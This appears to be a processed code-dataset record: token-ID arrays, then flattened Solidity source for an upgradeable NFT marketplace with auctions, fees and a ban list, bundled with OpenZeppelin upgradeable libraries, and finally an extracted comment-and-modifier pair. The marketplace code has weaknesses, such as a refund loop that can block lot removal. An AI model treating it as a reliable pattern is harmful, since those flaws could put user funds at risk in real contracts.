[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 565, 445, 4170, 19206, 2448, 3823, 2310, 12, 54, 19206, 2448, 3778, 1353, 13, 203, 3639, 2713, 203, 3639, 16618, 203, 3639, 1135, 261, 3890, 1578, 1958, 2310, 13, 203, 565, 288, 203, 3639, 19931, 288, 203, 5411, 2231, 1663, 519, 312, 945, 12, 20, 92, 7132, 13, 203, 5411, 312, 2233, 12, 3917, 16, 389, 12918, 53, 67, 7954, 67, 2399, 15920, 13, 203, 5411, 312, 2233, 12, 1289, 12, 3917, 16, 374, 92, 3462, 3631, 471, 12, 15140, 67, 11704, 16, 312, 945, 12, 1019, 20349, 203, 5411, 312, 2233, 12, 1289, 12, 3917, 16, 374, 92, 7132, 3631, 471, 12, 15140, 67, 11704, 16, 312, 945, 12, 1289, 12, 1019, 16, 374, 92, 3462, 3719, 3719, 203, 5411, 312, 2233, 12, 1289, 12, 3917, 16, 374, 92, 4848, 3631, 471, 12, 57, 3217, 67, 10392, 67, 11704, 16, 312, 945, 12, 1289, 12, 1019, 16, 374, 92, 7132, 3719, 3719, 203, 5411, 312, 2233, 12, 1289, 12, 3917, 16, 374, 92, 3672, 3631, 471, 12, 57, 3217, 67, 10392, 67, 11704, 16, 312, 945, 12, 1289, 12, 1019, 16, 374, 92, 4848, 3719, 3719, 203, 5411, 312, 2233, 12, 1289, 12, 3917, 16, 374, 21703, 20, 3631, 471, 12, 15140, 67, 11704, 16, 312, 945, 12, 1289, 12, 1019, 16, 374, 92, 3672, 3719, 3719, 203, 5411, 312, 2233, 12, 1289, 12, 3917, 16, 374, 14626, 20, 3631, 471, 12, 15140, 67, 11704, 16, 312, 945, 12, 1289, 12, 1019, 16, 374, 21703, 20, 3719, 3719, 203, 5411, 312, 2233, 12, 2 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.8.11 <0.9.0; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; contract Marketplace is OwnableUpgradeable, ReentrancyGuardUpgradeable { /// @notice Types of offer enum Types { regular, auction } /// @notice Bid object struct Bid { address payable buyer; uint256 amount; bool isWinner; bool isChargedBack; } /// @notice Lot object struct Lot { address nft; address payable seller; uint256 tokenId; Types offerType; uint256 price; uint256 stopPrice; uint256 auctionStart; uint256 auctionEnd; bool isSold; bool isCanceled; } /// @notice This multiplier allows us to use the fractional part for the commission uint256 private constant FEES_MULTIPLIER = 10000; /// @notice Marketplace fee /// @dev 1 == 0.01% uint256 public serviceFee; /// @notice Address that will receive marketplace fees address payable public feesCollector; /// @notice Users who are not allowed to the marketplace mapping(address => bool) public banList; /// @notice All lots IDs of the seller /// @dev Current and past lots mapping(address => uint256[]) private lotsOfSeller; /// @notice All bids of lot mapping(uint256 => Bid[]) public bidsOfLot; /// @notice Array of lots Lot[] public lots; /// @notice Events event ServiceFeeChanged(uint256 newFee); event UserBanStatusChanged(address user, bool isBanned); event TokenRemovedFromSale(uint256 lotId, bool removedBySeller); event Sold(uint256 lotId, address buyer, uint256 price, uint256 fee); event RegularLotCreated(uint256 lotId, address seller); event AuctionLotCreated(uint256 lotId, address seller); event FailedTx(uint256 lotId, uint256 bidId, address recipient, uint256 amount); /// @notice Acts like constructor() for upgradeable contracts function initialize() public initializer { __Ownable_init(); __ReentrancyGuard_init(); feesCollector = payable(msg.sender); serviceFee = 100; } /// @notice Allow this contract to receive ether receive() external payable {} /** * @notice Checks that the user is not banned */ modifier notBanned() { require(!banList[msg.sender], "you are banned"); _; } /** * @notice Checks that the lot has not been sold or canceled * @param lotId - ID of the lot */ modifier lotIsActive(uint256 lotId) { Lot memory lot = lots[lotId]; require(!lot.isSold, "lot already sold"); require(!lot.isCanceled, "lot canceled"); _; } /** * @notice Get filtered lots * @param from - Minimal lotId * @param to - Get to lot Id. 0 ar any value greater than lots.length will set "to" to lots.length * @param getActive - Is get active lots? * @param getSold - Is get sold lots? * @param getCanceled - Is get canceled lots? * @return _filteredLots - Array of filtered lots */ function getLots( uint256 from, uint256 to, bool getActive, bool getSold, bool getCanceled ) external view returns (Lot[] memory _filteredLots) { require(from < lots.length, "value is bigger than lots count"); if (to == 0 || to >= lots.length) to = lots.length - 1; Lot[] memory _tempLots = new Lot[](lots.length); uint256 _count = 0; for (uint256 i = from; i <= to; i++) { if ( (getActive && (!lots[i].isSold && !lots[i].isCanceled)) || (getSold && lots[i].isSold) || (getCanceled && lots[i].isCanceled) ) { _tempLots[_count] = lots[i]; _count++; } } _filteredLots = new Lot[](_count); for (uint256 i = 0; i < _count; i++) { _filteredLots[i] = _tempLots[i]; } } /** * @notice Get all lots of the seller * @param seller - Address of seller * @return array of lot IDs */ function getLotsOfSeller(address seller) external view returns (uint256[] memory) { return lotsOfSeller[seller]; } /** * @notice Get all bids of the lot * @param lotId - ID of lot * @return array of lot IDs */ function getBidsOfLot(uint256 lotId) external view returns (Bid[] memory) { return bidsOfLot[lotId]; } /** * @notice Get lot by ERC721 address and token ID * @param nft - Address of ERC721 token * @param tokenId - ID of the token * @return _isFound - Is found or not * @return _lotId - ID of the lot */ function getLotId(address nft, uint256 tokenId) external view returns (bool _isFound, uint256 _lotId) { require(nft != address(0), "zero_addr"); _isFound = false; _lotId = 0; for (uint256 i; i < lots.length; i++) { if (lots[i].nft == nft && lots[i].tokenId == tokenId) { _isFound = true; _lotId = i; break; } } } /** * @notice Get bids of the user by lot Id * @param bidder - User's address * @param lotId - ID of lot * @return _bid - Return bid */ function getBidsOf(address bidder, uint256 lotId) external view returns (Bid memory _bid) { for (uint256 i = 0; i < bidsOfLot[lotId].length; i++) { _bid = bidsOfLot[lotId][i]; if (_bid.buyer == bidder && !_bid.isChargedBack) { return _bid; } } revert("bid not found"); } /** * @notice Change marketplace fee * @param newServiceFee - New fee amount */ function setServiceFee(uint256 newServiceFee) external onlyOwner { require(serviceFee != newServiceFee, "similar amount"); serviceFee = newServiceFee; emit ServiceFeeChanged(newServiceFee); } /** * @notice Change user's ban status * @param user - Address of account * @param isBanned - Status of account */ function setBanStatus(address user, bool isBanned) external onlyOwner { require(banList[user] != isBanned, "address already have this status"); banList[user] = isBanned; emit UserBanStatusChanged(user, isBanned); } /** * @notice Remove lot from sale and return users funds * @dev Only lot owner or contract owner can do this * @param lotId - ID of the lot */ function removeLot(uint256 lotId) external lotIsActive(lotId) nonReentrant { Lot storage lot = lots[lotId]; require(msg.sender == lot.seller || msg.sender == owner(), "only owner or seller can remove"); lot.isCanceled = true; if (lot.offerType == Types.auction) { // send funds to bidders Bid[] storage bids = bidsOfLot[lotId]; for (uint256 i = 0; i < bids.length; i++) { Bid storage _bid = bids[i]; if (!_bid.isChargedBack && !_bid.isWinner) { _bid.isChargedBack = true; (bool sent, ) = _bid.buyer.call{value: _bid.amount}(""); require(sent, "something went wrong"); } } } // send NFT back to the seller IERC721Upgradeable(lot.nft).safeTransferFrom(address(this), lot.seller, lot.tokenId); emit TokenRemovedFromSale(lotId, msg.sender == lot.seller); } /** * @notice Update price for a regular offer * @param lotId - ID of the lot * @param newPrice - New price of the lot */ function changeRegularOfferPrice(uint256 lotId, uint256 newPrice) external lotIsActive(lotId) { Lot storage _lot = lots[lotId]; require(msg.sender == _lot.seller, "not seller"); require(_lot.offerType == Types.regular, "only regular offer"); require(_lot.price != newPrice, "same"); _lot.price = newPrice; } /** * @notice Buy regular lot (not auction) * @param lotId - ID of the lot */ function buy(uint256 lotId) external payable notBanned lotIsActive(lotId) nonReentrant { Lot storage lot = lots[lotId]; require(lot.offerType == Types.regular, "only regular lot type"); require(msg.value == lot.price, "wrong ether amount"); _buy(lot, lot.price, lotId); } /** * @notice Make auction bid * @param lotId - ID of the lot */ function bid(uint256 lotId) external payable notBanned lotIsActive(lotId) nonReentrant { Lot storage lot = lots[lotId]; require(lot.offerType == Types.auction, "only auction lot type"); require(lot.auctionStart <= block.timestamp, "auction is not started yet"); require(lot.auctionEnd >= block.timestamp, "auction already finished"); Bid[] storage bids = bidsOfLot[lotId]; uint256 bidAmount = msg.value; for (uint256 i = 0; i < bids.length; i++) { if (bids[i].buyer == msg.sender && !bids[i].isChargedBack) { bidAmount += bids[i].amount; } } require(bidAmount <= lot.stopPrice, "amount should be less or equal to stop price"); require(bidAmount >= lot.price, "amount should be great or equal to lot price"); if (bids.length > 0) { require(bids[bids.length - 1].amount < bidAmount, "bid should be greater than last"); } // Pay (bool fundsInMarketplace, ) = payable(address(this)).call{value: msg.value}(""); require(fundsInMarketplace, "payment error (bidder)"); Bid memory newBid = Bid(payable(msg.sender), bidAmount, false, false); // Do not send funds to previous bids, because this amount in last bid for (uint256 i = 0; i < bids.length; i++) { if (bids[i].buyer == msg.sender && !bids[i].isChargedBack) { bids[i].isChargedBack = true; } } bids.push(newBid); // finalize when target price reached if (bidAmount == lot.stopPrice) { lot.auctionEnd = block.timestamp - 1; _finalize(lotId); } } /** * @notice Finalize auction (external function) * @param lotId - ID of the lot */ function finalize(uint256 lotId) external payable notBanned lotIsActive(lotId) nonReentrant { _finalize(lotId); } /** * @notice Finalize auction (internal function) * @param lotId - ID of the lot */ function _finalize(uint256 lotId) internal { Lot storage lot = lots[lotId]; Bid[] storage bids = bidsOfLot[lotId]; require(bids.length > 0, "no bids"); require(lot.auctionEnd < block.timestamp, "auction is not finished yet"); uint256 winnerId; if (bids.length == 1) { winnerId = 0; } else { winnerId = bids.length - 1; for (uint256 i = 0; i < bids.length - 1; i++) { Bid storage _bid = bids[i]; if (!_bid.isChargedBack) { _bid.isChargedBack = true; (bool success, ) = _bid.buyer.call{value: _bid.amount}(""); if (!success) { emit FailedTx(lotId, i, _bid.buyer, _bid.amount); } } } } bids[winnerId].isWinner = true; _buy(lot, bids[winnerId].amount, lotId); } /** * @notice Send funds and token * @param lot - Lot to buy * @param price - Lot price * @param lotId - ID of the lot */ function _buy( Lot storage lot, uint256 price, uint256 lotId ) internal { uint256 fee = (price * serviceFee) / FEES_MULTIPLIER; (bool payedToSeller, ) = lot.seller.call{value: price - fee}(""); require(payedToSeller, "payment error (seller)"); (bool payedToFeesCollector, ) = feesCollector.call{value: fee}(""); require(payedToFeesCollector, "payment error (fees collector)"); lot.isSold = true; IERC721Upgradeable(lot.nft).safeTransferFrom(address(this), msg.sender, lot.tokenId); emit Sold(lotId, msg.sender, price, fee); } /** * @notice Regular offer (not auction) * @param nft - Address of NFT contract * @param tokenId - ID of token to sale * @param price - Token price * @return _lotId - Lot ID */ function makeRegularOffer( address nft, uint256 tokenId, uint256 price ) external notBanned returns (uint256 _lotId) { require(nft != address(0), "zero address for NFT"); require(price > 0, "price should be greater than 0"); IERC721Upgradeable(nft).safeTransferFrom(msg.sender, address(this), tokenId); Lot memory newLot = Lot(nft, payable(msg.sender), tokenId, Types.regular, price, 0, 0, 0, false, false); lots.push(newLot); _lotId = lots.length - 1; lotsOfSeller[msg.sender].push(_lotId); emit RegularLotCreated(_lotId, msg.sender); } /** * @notice Regular offer (not auction) * @param nft - Address of NFT contract * @param tokenId - ID of token to sale * @param price - Token price * @param stopPrice - Price to stop auction and sale immediately * @param auctionStart - Auction starts at * @param auctionEnd - Auction finish at * @return _lotId - Lot ID */ function makeAuctionOffer( address nft, uint256 tokenId, uint256 price, uint256 stopPrice, uint256 auctionStart, uint256 auctionEnd ) external notBanned returns (uint256 _lotId) { require(nft != address(0), "zero address"); require(auctionStart > 0, "auction start time should be greater than 0"); require(auctionEnd > auctionStart, "auction end time should be greater than auction start time"); require(price > 0, "price should be greater than 0"); require(stopPrice > price, "stop price should be greater than price"); IERC721Upgradeable(nft).safeTransferFrom(msg.sender, address(this), tokenId); Lot memory newLot = Lot( nft, payable(msg.sender), tokenId, Types.auction, price, stopPrice, auctionStart, auctionEnd, false, false ); lots.push(newLot); _lotId = lots.length - 1; lotsOfSeller[msg.sender].push(_lotId); emit AuctionLotCreated(_lotId, msg.sender); } /// @notice To make ERC721 safeTransferFrom works function onERC721Received( address _operator, address _from, uint256 _tokenId, bytes memory _data ) external pure returns (bytes4) { return IERC721ReceiverUpgradeable.onERC721Received.selector; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuardUpgradeable is Initializable { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; function __ReentrancyGuard_init() internal onlyInitializing { __ReentrancyGuard_init_unchained(); } function __ReentrancyGuard_init_unchained() internal onlyInitializing { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165Upgradeable { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; import "../proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal onlyInitializing { } function __Context_init_unchained() internal onlyInitializing { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[50] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) pragma solidity ^0.8.0; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
* @notice Checks that the user is not banned/
modifier notBanned() { require(!banList[msg.sender], "you are banned"); _; }
1,354,872
